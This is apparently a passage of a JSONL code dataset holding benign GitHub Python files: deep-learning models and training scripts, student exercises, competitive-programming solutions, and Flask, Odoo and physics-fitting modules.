]))\n self.features.add_module('dropout0', nn.Dropout())\n\n # Each denseblock\n num_features = num_init_features\n for i, num_layers in enumerate(block_config):\n block = _DenseBlock(\n num_layers=num_layers,\n num_input_features=num_features,\n bn_size=bn_size,\n growth_rate=growth_rate,\n drop_rate=drop_rate,\n memory_efficient=memory_efficient\n )\n self.features.add_module('denseblock%d' % (i + 1), block)\n self.features.add_module('dropout%d' % (i + 1), nn.Dropout())\n num_features = num_features + num_layers * growth_rate\n if i != len(block_config) - 1:\n trans = _Transition(num_input_features=num_features,\n num_output_features=num_features // 2)\n self.features.add_module('transition%d' % (i + 1), trans)\n num_features = num_features // 2\n\n # Final batch norm\n self.features.add_module('norm5', nn.BatchNorm2d(num_features))\n\n # Linear layer\n self.features.add_module('dropout5', nn.Dropout())\n self.classifier = nn.Linear(num_features, num_classes)\n\n # Official init from torch repo.\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.Linear):\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n features = self.features(x)\n out = F.relu(features, inplace=True)\n out = F.adaptive_avg_pool2d(out, (1, 1))\n out = torch.flatten(out, 1)\n out = self.classifier(out)\n return out\n\n\nclass DenseNet121FullDropout(nn.Module):\n def __init__(self, n_inputs = 12, numCls = 17):\n super().__init__()\n\n# densenet = models.densenet121(pretrained=False, memory_efficient=True)\n densenet = DenseNetFullDropout(growth_rate=32, block_config=(6, 12, 24, 16), num_init_features=64)\n \n self.encoder = nn.Sequential(\n nn.Conv2d(n_inputs, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False),\n *densenet.features[1:])\n \n # classifier\n self.dropout = nn.Dropout()\n self.classifier = nn.Linear(65536, numCls, bias=True)\n\n self.apply(weights_init_kaiming)\n self.apply(fc_init_weights)\n \n \n def forward(self, x):\n\n x = self.encoder(x)\n x = x.view(x.size(0), -1)\n x = self.dropout(x)\n logits = self.classifier(x)\n\n return logits\n \n \nclass DenseNet161(nn.Module):\n def __init__(self, n_inputs = 12, numCls = 17):\n super().__init__()\n\n densenet = models.densenet161(pretrained=False)\n \n self.encoder = nn.Sequential(\n nn.Conv2d(n_inputs, 96, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False),\n# nn.BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True),\n *densenet.features[1:])\n \n # classifier\n self.classifier = nn.Linear(141312, numCls, bias=True)\n\n self.apply(weights_init_kaiming)\n self.apply(fc_init_weights)\n \n \n def forward(self, x):\n\n x = self.encoder(x)\n x = x.view(x.size(0), -1)\n logits = self.classifier(x)\n\n return logits \n \n \n \nclass DenseNet169(nn.Module):\n def __init__(self, n_inputs = 12, numCls = 17):\n super().__init__()\n\n densenet = models.densenet169(pretrained=False)\n \n self.encoder = nn.Sequential(\n nn.Conv2d(n_inputs, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False),\n *densenet.features[1:])\n \n # classifier\n self.classifier = nn.Linear(106496, numCls, bias=True)\n\n self.apply(weights_init_kaiming)\n self.apply(fc_init_weights)\n \n \n def forward(self, x):\n\n x = self.encoder(x)\n x = x.view(x.size(0), -1)\n logits = self.classifier(x)\n\n return logits \n \n \nclass DenseNet201(nn.Module):\n def __init__(self, n_inputs = 12, numCls = 17):\n super().__init__()\n\n densenet = models.densenet201(pretrained=False)\n \n self.encoder = nn.Sequential(\n nn.Conv2d(n_inputs, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False),\n *densenet.features[1:])\n \n # classifier\n self.classifier = nn.Linear(122880, numCls, bias=True)\n\n self.apply(weights_init_kaiming)\n self.apply(fc_init_weights)\n \n \n def forward(self, x):\n\n x = self.encoder(x)\n x = x.view(x.size(0), -1)\n logits = self.classifier(x)\n\n return logits \n \n \n \n \n\nif __name__ == \"__main__\":\n \n inputs = torch.randn((2, 12, 256, 256)) # (how many images, spectral channels, pxl, pxl)\n \n #\n import time\n start_time = time.time()\n #\n \n net = DenseNet121()\n\n\n outputs = net(inputs)\n \n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n print(outputs)\n print(outputs.shape)\n\n numParams = count_parameters(net)\n\n print(f\"{numParams:.2E}\")\n \n\n\n ","repo_name":"polimi-ispl/sar-dip-anonymization","sub_path":"landcover_classification/classification/models/DenseNet.py","file_name":"DenseNet.py","file_ext":"py","file_size_in_byte":8628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35694423911","text":"# CTI-110\r\n# Python 5 - Example - Coin Toss\r\n# Juan Hernaez\r\n# 03/27/2018\r\n\r\n# Use the random module:\r\n\r\nimport random\r\n\r\n# Set constant values:\r\n\r\nHEADS = 1\r\nTAILS = 2\r\n\r\ndef main():\r\n\r\n times = int(input(\"Number of times to flip the coin? \" ))\r\n for flip in range(times):\r\n\r\n # Simulate the coin toss:\r\n\r\n coin = random.randint(HEADS, TAILS)\r\n\r\n # Print the result:\r\n\r\n if coin == HEADS:\r\n print(\"Heads.\")\r\n\r\n else:\r\n\r\n print(\"Tails.\")\r\n\r\n# Call the main() function:\r\n\r\nmain()\r\n","repo_name":"GitHubWantawn/CTI110","sub_path":"Python_5_Example_Coin_Toss.py","file_name":"Python_5_Example_Coin_Toss.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21494005495","text":"# x,n = map(int,input().split())\n# plist = list(map(int,input().split()))\n# j=0\n# while True:\n# if x-j not in plist:\n# print(x-j)\n# break\n# if x+j not in plist:\n# print(x+j)\n# break\n# j += 1\n\n#D\nn = int(input())\nalistold = list(map(int,input().split()))\nalist = sorted(alistold)\n\nk=0\nwhile k<=len(alist)-1:\n unit = alist[k]\n ls = [i for i in alist if i%unit!=0]\n alist = [unit] + ls\n k+=1\n\nchoufuku = 0\nchoufukulist = [x for x in set(alistold) if alistold.count(x) > 1]\nfor num in alist:\n if num in choufukulist:\n choufuku += 1\n\nprint(k-choufuku)\n\n#E\n# n,q = map(int,input().split())\n# childlist = [[] for _ in range(2*(10**5))]\n# memberlist = []\n# fairnesslist = []\n#\n# def query(c,d):\n# score = memberlist[c-1][0]#cのレーと\n# before = memberlist[c-1][1]\n# childlist[before-1].remove([c,score])\n# childlist[d-1].append([c,score])\n# maxlist=[]\n# for kindagarten in childlist:\n# if kindagarten != []:\n# saidai = max(kindagarten, key=lambda x:x[1])\n# maxlist.append(saidai[1])\n#\n# fairness = min(maxlist)\n# fairnesslist.append(fairness)\n# return\n#\n# for i in range(n):\n# a,b = map(int,input().split())\n# childlist[b-1].append([i+1,a])\n# memberlist.append([a,b])\n#\n# for _ in range(q):\n# c,d = map(int,input().split())\n# query(c,d)\n#\n# for j in range(q):\n# print(fairnesslist[j])\n","repo_name":"stardust-coder/atcoder","sub_path":"abc170.py","file_name":"abc170.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27538752917","text":"from flask import url_for\n\nfrom sqlalchemy import Column, Integer, String, BigInteger, Text, Boolean, ForeignKey\nfrom sqlalchemy.orm import relationship, backref\nfrom flask.ext.babel import gettext as _\nfrom slugify import slugify\n\nfrom .database import Base, db_session\n\nfrom .sphinx import get_sphinx_client\nfrom .answer import Answer\n\nfrom sqlalchemy import orm\n\nfrom utils import now_ms, hash, escape\n\nfrom .mixins.votable import Votable\nfrom .mixins.commentable import Commentable\nfrom .mixins.editable import Editable\nfrom .mixins.taggable import Taggable\nfrom .mixins.pointable import Pointable\n\nclass Question(Base, Votable, Commentable, Editable, Taggable, Pointable):\n __tablename__ = 'questions'\n id = Column(Integer, primary_key=True)\n title = Column(String(256))\n date_created = Column(BigInteger, default=now_ms)\n content = Column(Text)\n ip = Column(Text)\n answer_count = Column(Integer, default=0)\n\n user_id = Column(Integer, ForeignKey('users.id', ondelete='CASCADE'))\n\n user = relationship('User', backref=backref('questions', order_by=date_created, cascade='all,delete'))\n\n user_answer = False\n\n def json_data(self):\n return {\n \"content\": escape(self.content),\n \"title\": self.title,\n \"id\": self.id,\n \"date_created\": self.date_created,\n \"user\": self.user.json_data(),\n \"tags\": [tag.json_data() for tag in self.tags],\n \"points\": self.points,\n \"comment_count\": self.comment_count,\n \"user_vote\": self.user_vote,\n \"user_comment\": self.user_comment,\n \"user_answer\": self.user_answer,\n \"answer_count\": self.answer_count,\n \"urls\": self.get_url()\n }\n\n def get_url(self, name=None):\n urls = {\n 'view': url_for('questions.view', slug=slugify(self.title), id=self.id)\n }\n\n if name:\n return urls.get(name)\n\n return urls\n\n def update_answer_count(self, offset=1, commit=False):\n cls = self.__class__\n self.query.filter_by(id=self.id).update({cls.answer_count: cls.answer_count + offset})\n if commit:\n db_session.commit()\n return self.answer_count\n\n def create_answer(self, content, user, ip, commit=False):\n answer = Answer()\n answer.question_id = self.id\n answer.ip = hash(ip)\n answer.content = content\n answer.user_id = user.id\n db_session.add(answer)\n if commit:\n db_session.commit()\n return answer\n\n \"\"\"\n Determine if user has answered or not\n \"\"\"\n def check_answer(self, user):\n if not user:\n return None\n\n filter_data = {\n 'question_id': self.id,\n 'user_id': user.id\n }\n\n count = Answer.query.filter_by(**filter_data).count()\n self.user_answer = count > 0\n return self.user_answer\n\n def get_answers(self, limit=10, offset=0, order='date_created desc', json=False):\n filter_data = {\n 'question_id': self.id\n }\n \n answers = Answer.query.filter_by(**filter_data).order_by(order).limit(limit).offset(offset).all()\n if json:\n return [answer.json_data() for answer in answers]\n return answers\n\n @classmethod\n def list(cls, **kwargs):\n json = kwargs.get('json', False)\n order_by = kwargs.get('order', 'date_created DESC')\n questions = cls.query.order_by(order_by).limit(kwargs.get('limit', 10)).offset(kwargs.get('offset', 0)).all()\n\n if json:\n return [question.json_data() for question in questions]\n return questions\n\n \"\"\"\n A convenient method for listing questions and do filtering based on the current user\n \"\"\"\n @classmethod\n def list_for_user(cls, **kwargs):\n user = kwargs.get('user')\n questions = cls.list(**kwargs)\n if user:\n questions = [user.check_question(question).json_data() for question in questions]\n else:\n questions = [question.json_data() for question in questions]\n\n return questions","repo_name":"tanqhnguyen/flask-demo","sub_path":"models/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72574758595","text":"# -*- coding: utf-8 -*-\nimport os\n\n\n################\n# Project Configuration\n################\n\n# Path to project\nBASE_PATH = os.path.dirname(os.path.realpath(__file__))\n\n# Path to source data or called input data\nSOURCE_DATA = BASE_PATH + '/srcData/'\n\n# Path to destination data or called output data\nDST_DATA = BASE_PATH + '/dstData/'\n\n# Path to static files such as stopwords\nSTATIC_DIR = BASE_PATH + '/static/'\n\n# Path to corpus\nCORPUS_DIR = BASE_PATH + '/corpus/'\n\n# Path to model\nMODEL_DIR = BASE_PATH + '/model/'\n\n# Path to plot\nPLOT_DIR = BASE_PATH + '/plot/'\n\n","repo_name":"FesonX/cn-text-classifier","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"61"} +{"seq_id":"37238849808","text":"#!/usr/bin/python3\n\"\"\"append_agter\"\"\"\n\n\ndef append_after(filename=\"\", search_string=\"\", new_string=\"\"):\n \"\"\"inserts a line of text to a file,\n after each line containing a specific string\n\n Args:\n filename (str, optional): the file name to insert to Defaults to \"\".\n search_string (str, optional): search string. Defaults to \"\".\n new_string (str, optional): the new line to insert. Defaults to \"\".\n \"\"\"\n lines = []\n with open(filename, mode=\"r\") as f:\n lines = f.readlines()\n linesCopy = lines[:]\n countLines = 0\n for line in linesCopy:\n countLines += 1\n if line.find(search_string) != -1:\n lines.insert(countLines, new_string)\n countLines += 1\n\n with open(filename, mode=\"w\") as f:\n f.writelines(lines)\n","repo_name":"SiMoG97/alx-higher_level_programming","sub_path":"0x0B-python-input_output/100-append_after.py","file_name":"100-append_after.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18539696727","text":"# -*- coding: utf-8 -*-\n# © 2021 Open Net Sarl\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\nfrom odoo import models, fields, api\n\n\nclass OnsMeasureLine(models.Model):\n _name = 'ons.measure.line'\n _rec_name = 'type_id'\n\n measure_id = fields.Many2one('ons.measure')\n\n type_id = fields.Many2one('ons.measure.type', string='Désignation', required=True)\n measure_value = fields.Float(string='Mesure', required=True)\n measure_total = fields.Float(\n string='Total', compute='_compute_measure_total', store=True\n )\n to_check = fields.Boolean(string='À vérifier')\n\n type_number = fields.Integer(string='N°', related='type_id.number')\n type_name = fields.Char(string='Désignation', related='type_id.name')\n\n @api.depends('measure_id.suit_type', 'measure_value', 'type_id')\n def _compute_measure_total(self):\n for line in self:\n if line.measure_id.suit_type == 'neoprene_classic':\n line.measure_total = line.measure_value + line.type_id.ease_neoprene_classic\n elif line.measure_id.suit_type == 'neoprene_pro':\n line.measure_total = line.measure_value + line.type_id.ease_neoprene_pro\n elif line.measure_id.suit_type == 'tnt_classic':\n line.measure_total = line.measure_value + line.type_id.ease_tnt_classic\n elif line.measure_id.suit_type == 'tnt_pro':\n line.measure_total = line.measure_value + line.type_id.ease_tnt_pro\n","repo_name":"cbraissant/odoo","sub_path":"ons_cust_sftech/models/ons_measure_line.py","file_name":"ons_measure_line.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72968883395","text":"import ROOT\n\nimport numpy as np\nimport pandas as pd\n\nfrom iminuit import Minuit\nfrom ROOT import TFile, TTree, TList\n\nfrom .io_functions import print_colored\n\ndef th2f_from_dataframe(df, name=\"myhist\", title=\"My Histogram\", debug=False):\n '''\n Create a TH2F histogram from a pandas DataFrame.\n \n Args:\n df (pandas.DataFrame): pandas DataFrame.\n name (str): name of the histogram (default: myhist).\n title (str): title of the histogram (default: My Histogram).\n\n Returns:\n th2f (ROOT.TH2F): TH2F histogram\n '''\n # Extract x and y centers from column names and index names\n x_centers = df.columns.to_numpy(dtype=float)\n y_centers = df.index.to_numpy(dtype=float)\n\n # Convert DataFrame data to a 2D numpy array for z-axis values\n z_values = df.to_numpy(dtype=float)\n\n # Create a TH2F histogram\n nbins_x = len(x_centers)\n nbins_y = len(y_centers)\n th2f = ROOT.TH2F(name, title, nbins_x, x_centers[0], x_centers[-1], nbins_y, y_centers[0], y_centers[-1])\n\n # Fill the TH2F histogram with z-axis values\n for i in range(nbins_x):\n for j in range(nbins_y):\n th2f.SetBinContent(i + 1, j + 1, z_values[j][i]) # Note: ROOT histograms are filled in a column-major order\n\n if debug: print_colored(\"Created TH2F histogram: %s\"%name,\"INFO\")\n return th2f\n\ndef generate_synthetic_histograms():\n '''\n Create synthetic histograms for testing purposes.\n '''\n nbins_x = 10\n nbins_y = 10\n\n obs_values = [i + j for i in range(nbins_x) for j in range(nbins_y)]\n solar_values = [2 * i for i in obs_values]\n neut_values = [3 * i for i in obs_values]\n\n obs_hist = ROOT.TH2F(\"obs\", \"Observed Data\", nbins_x, 0, nbins_x, nbins_y, 0, nbins_y)\n solar_hist = ROOT.TH2F(\"solar\", \"Solar Data\", nbins_x, 0, nbins_x, nbins_y, 0, nbins_y)\n neut_hist = ROOT.TH2F(\"neut\", \"Neutrino Data\", nbins_x, 0, nbins_x, nbins_y, 0, nbins_y)\n\n for i in range(1, nbins_x + 1):\n for j in range(1, nbins_y + 1):\n obs_hist.SetBinContent(i, j, obs_values[(i - 1) * nbins_y + (j - 1)])\n solar_hist.SetBinContent(i, j, solar_values[(i - 1) * nbins_y + (j - 1)])\n neut_hist.SetBinContent(i, j, neut_values[(i - 1) * nbins_y + (j - 1)])\n\n return obs_hist, solar_hist, neut_hist\n\nclass Fitter:\n '''\n Class to fit the solar neutrino histograms for each set of oscillation parameters.\n\n Args:\n obs (ROOT.TH2F): observed data histogram.\n solar (ROOT.TH2F): solar data histogram.\n neut (ROOT.TH2F): neutrino data histogram.\n DayNight (bool): True if Day-Night asymmetry is included, False otherwise (default: True).\n SigmaSolar (float): uncertainty on the solar neutrino flux (default: 0.04).\n SigmaNeut (float): uncertainty on the atmospheric neutrino flux (default: 0.02).\n\n Returns:\n chisq (float): chi-squared value.\n A_solar (float): best-fit value of the solar neutrino flux.\n A_neut (float): best-fit value of the atmospheric neutrino flux.\n '''\n def __init__(self, obs, solar, neut, DayNight=True, SigmaSolar=0.04, SigmaNeut=0.02):\n self.fObs = obs\n self.fSolar = solar\n self.fNeut = neut\n self.fDayNight = DayNight\n self.fSigmaSolar = SigmaSolar\n self.fSigmaNeut = SigmaNeut\n\n def ROOTOperator(self, A_solar, A_neut):\n chisq = 0\n for i in range(1, self.fObs.GetNbinsX() + 1):\n for j in range(1, self.fObs.GetNbinsY() + 1):\n if self.fDayNight == False and j < (self.fObs.GetNbinsY() + 1)/2:\n e = 0\n o = 0\n else:\n N_neut = (1 + A_neut) * self.fNeut.GetBinContent(i, j)\n N_solar = (1 + A_solar) * self.fSolar.GetBinContent(i, j)\n \n e = N_neut + N_solar\n o = self.fObs.GetBinContent(i, j)\n \n if o == 0:\n continue\n \n if o == 0:\n chisq += 2 * (e - o)\n else:\n chisq += 2 * (e - o + o * np.log(o / e))\n\n chisq += ((A_solar) / self.fSigmaSolar)**2 + ((A_neut) / self.fSigmaNeut)**2\n return chisq\n\n def Fit(self, initial_A_solar, initial_A_neut, verbose=0, debug=False):\n \n if type(self.fObs) == ROOT.TH2F:\n m = Minuit(self.ROOTOperator, A_solar=initial_A_solar, A_neut=initial_A_neut)\n\n else:\n print_colored(\"ERROR: Unknown input type\",\"ERROR\")\n return -1, -1, -1\n \n m.limits['A_solar'] = (initial_A_solar - 10, initial_A_solar + 10)\n m.limits['A_neut'] = (initial_A_neut - 10, initial_A_neut + 10)\n\n m.migrad()\n\n A_solar = m.values['A_solar']\n A_neut = m.values['A_neut']\n\n return m.fval, A_solar, A_neut","repo_name":"CIEMAT-Neutrino/SOLAR","sub_path":"lib/root_functions.py","file_name":"root_functions.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1777787559","text":"import logging\nfrom exe.engine.field import TextField, TextAreaField, ImageField, FeedbackField\nfrom exe.engine.field import MultimediaField, FlashField, AttachmentField\nfrom exe.webui.element import TextElement, TextAreaElement, ImageElement\nfrom exe.webui.element import FeedbackElement, MultimediaElement, FlashElement\nfrom exe.webui.element import AttachmentElement\n\nlog = logging.getLogger(__name__)\n\n# ===========================================================================\nclass ElementFactory(object):\n \"\"\"\n ElementFactory is responsible for creating the right element object to match\n a given field. Elements register themselves with the factory, specifying\n which fields they can render\n \"\"\"\n def __init__(self):\n \"\"\"\n Initialize\n \"\"\"\n self.elementTypeMap = {TextField: TextElement,\n TextAreaField: TextAreaElement,\n ImageField: ImageElement,\n FeedbackField: FeedbackElement,\n FlashField: FlashElement,\n MultimediaField: MultimediaElement,\n AttachmentField: AttachmentElement}\n\n def createElement(self, field):\n \"\"\"\n Returns a Element object which can render this field\n \"\"\"\n elementType = self.elementTypeMap.get(field.__class__)\n\n if elementType:\n # Create an instance of the appropriate element class\n log.debug(u\"createElement \"+elementType.__class__.__name__+\n u\" for \"+field.__class__.__name__)\n return elementType(field)\n else:\n log.error(u\"No element type registered for \" +\n field.__class__.__name__)\n return None\n\ng_elementFactory = ElementFactory()\n# ===========================================================================\n","repo_name":"exelearning/iteexe","sub_path":"exe/webui/elementfactory.py","file_name":"elementfactory.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":116,"dataset":"github-code","pt":"61"} +{"seq_id":"22875484583","text":"# Exercise 3: Write a program that reads a file and prints the letters\n# in decreasing order of frequency. Your program should convert all the\n# input to lower case and only count the letters a-z. Your program should\n# not count spaces, digits, punctuation, or anything other than the letters a-z.\n\nimport string\n\nx = input('Enter file name: ')\ntry:\n file = open(x)\nexcept:\n print('Invalid file name.')\n exit()\n\ncount = dict()\nlst = list()\nfor line in file: # lower all letters in line, remove punctuation, digits and whitespaces.\n line = line.lower().translate(line.maketrans('', '', string.punctuation))\n line = line.translate(line.maketrans('', '', string.digits))\n line = line.translate(line.maketrans('', '', string.whitespace))\n for char in line: # for every character in line, if not exist in dict-> add it, else-> add one to it.\n count[char] = count.get(char, 0) + 1\nfor key, value in count.items():\n lst.append((key, value)) # add the letter-key and its count-value to a list.\nlst = sorted(lst, reverse=False) # the list will be sorted by key from a-z.\nfor key, value in lst:\n print(key, value)\n","repo_name":"YanShtein/PythonForEverybody","sub_path":"010.3.trans_letters.py","file_name":"010.3.trans_letters.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"10008466704","text":"'''\nThis program will display a menu that will allow the user to select between\nthe options of air, water, or steel. From there, they will input a distance\nand the program will calculate how long it will take to travel in that medium.\nAdditionally, the program should make sure that the choice is one of the choices\nand that no negative values are used for the distance.\n\nAuthor: Cheryl Gardner\nCourse: ITM 313\n'''\n\n#Welcome the user to the new program\nprint(\"Welcome to the Speed of Sound\")\n#Ask the user to choose what type of medium they want the sound wave to travel through\nchoice = input(\"Please choose an option from our menu, A for air, B for water, or C for steel \")\n\n#Show the user what medium they chose and assign the speed for that particular medium\nif (choice == 'A' or choice == 'a'):\n print(\"You chose air as your medium\")\n speed = 1100\nelif (choice == 'B' or choice == 'b'):\n print(\"You chose water as your medium\")\n speed = 4900\nelif(choice == 'C' or choice == 'c'):\n print(\"You chose steel as your medium\")\n speed = 16400\n\n#If the user inputs an invalid choice, then tell them that they did not choose any of the options \nelse:\n print(\"Sorry you did not select any of the available choices please try again\")\n\n#Only allow the user to input a distance if they selected a medium that is one of the three valid choices\nif( choice == 'A' or choice == 'a' or choice == 'B' or choice == 'b' or choice == 'C' or choice == 'c'): \n #Ask the user how far they want the sound wave to travel\n distance = eval(input(\"Please enter the distance that your sound wave is travelling in the selected medium in feet \"))\n\n #Stop the user from entering a negative value for the distance\n if (distance < 0):\n print(\"Sorry but this distance is invalid, please try again\")\n \n #If you enter a valid distance, then calculate the time it will take for that particular distance\n if(distance >= 0):\n #Calculate the time that it will take\n time = distance/speed\n\n #Display how much time it will take to travel through that sound wave\n print(\"The time that it will take to travel through the selected medium is %.4f\" % time, \"seconds\")\n #Thank the user for using the program\n print(\"Thank you for using our sound wave program!\")\n\n\n\n\n","repo_name":"cgardner3/Python-Programs","sub_path":"homework2.py","file_name":"homework2.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25544532174","text":"import time\r\nimport torch\r\nimport torch.nn as nn\r\nfrom models import GRUModel,LSTMModel\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom torch.utils.tensorboard import SummaryWriter\r\nfrom utils import MyDataset,collate_fn,EarlyStoppingCallback\r\n\r\n\r\ndevice=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\nA=['CH4ABL','N2ABL','PLD','LCD','Density','Porosity','PV','gASA']\r\nfor a in A:\r\n torch.manual_seed(42)\r\n print('准备数据...')\r\n dataset=MyDataset(a)\r\n\r\n\r\n print('划分训练集测试集...')\r\n batch_size=100\r\n train_size = int(0.8 * len(dataset))\r\n test_size = len(dataset) - train_size\r\n train_dataset, test_dataset = torch.utils.data.random_split(dataset, [train_size, test_size])\r\n train_loader = DataLoader(train_dataset, batch_size=batch_size,shuffle=True,drop_last=True,collate_fn=collate_fn)\r\n test_loader=DataLoader(test_dataset, batch_size=batch_size,shuffle=False,drop_last=True,collate_fn=collate_fn)\r\n epo=[20,40,60]\r\n em = [20, 40, 60, 80]\r\n hd = [100, 150, 200]\r\n for ep in epo:\r\n for e in em:\r\n for h in hd:\r\n print('模型初始化...')\r\n vocab_size=dataset.get_vocab_size()+1\r\n embedding_size=e\r\n hidden_size=h\r\n num_layers=1\r\n model=GRUModel(vocab_size, embedding_size, hidden_size, num_layers).to(device)\r\n # 训练模型\r\n epoch=ep\r\n best_loss=1000000000000000000\r\n # criterion = nn.L1Loss()\r\n criterion = nn.MSELoss()\r\n early_stop_callback = EarlyStoppingCallback(patience=10)\r\n optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\r\n\r\n print('开始训练循环...')\r\n Start_time=time.time()\r\n for i in range(epoch):\r\n start_time=time.time()\r\n print(f'第{i+1}轮训练开始:')\r\n model.train()\r\n train_step=0\r\n total_train_loss=0\r\n for (batch,P) in train_loader:\r\n batch=batch.to(device)\r\n P = P.to(device)\r\n x_hat=model(batch)\r\n # x_hat=x_hat.squeeze()\r\n loss=criterion(x_hat.squeeze(),P).to(device)\r\n # loss = criterion(torch.log(x_hat + 1), torch.log(P + 1)).to(device)\r\n total_train_loss +=loss\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n train_step +=1\r\n print(f'训练集上的loss:{total_train_loss/train_step}')\r\n end_time=time.time()\r\n print(f'第{i+1}轮训练结束,用时{end_time-start_time}秒')\r\n torch.save(model,f'my_models\\\\new\\\\biGRU_{a}_model_ep_{ep}_em_{e}_hd{h}.pth')\r\n End_time = time.time()\r\n print(f'{epoch}轮训练结束,总用时{(End_time - Start_time) / 60}分钟')\r\n","repo_name":"lwx199906/MOF-GRU","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5034664706","text":"from Networks.CreateYOLO import CreateNetwork\nfrom easydict import EasyDict\nimport torch\nimport numpy as np\nfrom utils.utils import parse_module_defs\n\n\ndef CreateNet(cfgfile):\n model = CreateNetwork(ClassNum=Cfg.num_classes, cfgfile=cfgfile)\n _, _, Cfg.prune_idx = parse_module_defs(model.module_defs)\n return model\n\n\ndef get_classes(classes_path):\n with open(classes_path) as f:\n class_names = f.readlines()\n class_names = [c.strip() for c in class_names]\n return class_names\n\n\ndef get_anchors(anchors_path):\n with open(anchors_path) as f:\n anchors = f.readline()\n anchors = [float(x) for x in anchors.split(',')]\n return np.array(anchors).reshape([-1, 3, 2])[::-1, :, :]\n\n\ndef CountNum(train_path, val_path):\n with open(train_path, 'r') as f:\n num_train = (len(f.readlines()))\n with open(val_path, 'r') as f:\n num_val = (len(f.readlines()))\n return num_val, num_train\n\n\nCfg = EasyDict()\nCfg.input_shape = (608, 608, 3)\nCfg.w = Cfg.input_shape[1]\nCfg.h = Cfg.input_shape[0]\nCfg.Cuda = True if torch.cuda.is_available() else False\nCfg.device = 'cuda' if torch.cuda.is_available() else 'cpu'\nCfg.anchors_path = 'utils/glass_anchors.txt'\nCfg.classes_path = 'utils/glass_classes.txt'\nCfg.classes = get_classes(Cfg.classes_path)\nCfg.anchors = get_anchors(Cfg.anchors_path)\nCfg.num_classes = len(Cfg.classes)\nCfg.train_path = './VOCdevkit/VOC2007/ImageSets/Main/train.txt'\nCfg.val_path = './VOCdevkit/VOC2007/ImageSets/Main/val.txt'\nCfg.num_val, Cfg.num_train = CountNum(Cfg.train_path, Cfg.val_path)\n\nCfg.lr = 0.001\nCfg.Batch_size = 8\nCfg.Epoch = 150\nCfg.pruneLambda = 0.3\nCfg.isPruneTrain = 0\n","repo_name":"RenjieZhuo/MobileYOLO","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27252585203","text":"'''어떠한 수 N이 1이 될 때까지 두 과정 중 하나를 반복적으로 선택하여 수행\n 단, 두번째 연산은 N이 K 로 나누어 떨어질 때만 선택할 수 있다.'''\n\n'''\n 1.N에서 1을 뺀다\n 2. N을 K로 나눈다.\n \n N과 K가 주어질 때 N이 1이 될 때까지 1번 혹은 2번의 과정을 수행해야 하는 최소 횟수를 구하는 프로그램을 작성하세오.\n '''\nN, K = map(int, input().split())\n\ncount = 0\nwhile N != 1:\n if N == 1: #탈출조건\n break\n if N % K == 0:\n N /= K\n count += 1\n else:\n N -= 1\n count += 1\n\nprint(count)\n\n\n\n","repo_name":"elice-python-coding/Eunsun_Namgung","sub_path":"greedy-theory/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21404807719","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Functions for reading data from various formats.\n\"\"\"\n\nimport xarray as xr\nimport pandas as pd\nimport os\nimport configparser\nfrom .meta import parse_meta_to_ds\nfrom . import conventions as c\n\n\ndef read_calibration(calibfile, wavelength_unit='nm'):\n \"\"\"Read a CSV calibration file to a structured dataset.\n\n Parameters\n ----------\n calibfile : str\n Filepath to the CSV file containing the metadata. The CSV is assumed to\n have the following columns (case-sensitive, in no specific order):\n ['Npeaks', 'SP1', 'SP2', 'SP3', 'PeakWL', 'FWHM', 'Sinv']\n\n wavelength_unit : str, optional\n Unit of the wavelength data in the calibration file.\n\n Returns\n -------\n xr.Dataset\n Dataset containing the calibration data in a structured format.\n\n \"\"\"\n\n df = 